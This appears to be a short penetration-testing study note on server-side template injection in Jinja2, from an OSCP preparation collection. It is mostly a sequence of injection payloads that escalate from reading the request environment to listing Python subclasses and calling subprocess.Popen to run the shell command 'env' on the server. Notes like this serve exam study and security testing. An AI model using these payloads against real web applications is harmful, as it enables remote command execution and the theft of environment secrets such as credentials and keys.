oscp/Necronomicon/Attacks/Web Exploitation/SSTI.md

• Flowchart to fingerprint underlying templating engine through successive payloads !Pasted image 20230906000448.png

• Jinja2

  • Get information about Python environment
    • {{request.environ}}
  • Regress to base object class
    • {{request.__class__.__base__.__base__}}
  • List all loaded top classes
    1. {{request.__class__.__base__.__base__.__subclasses__()}}
    2. Note interesting top classes, such as os.system and subprocess.Popen
    3. Determine their count for the following
  • Call subprocess.Popen to execute commands ("env" in this case)
    • {{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}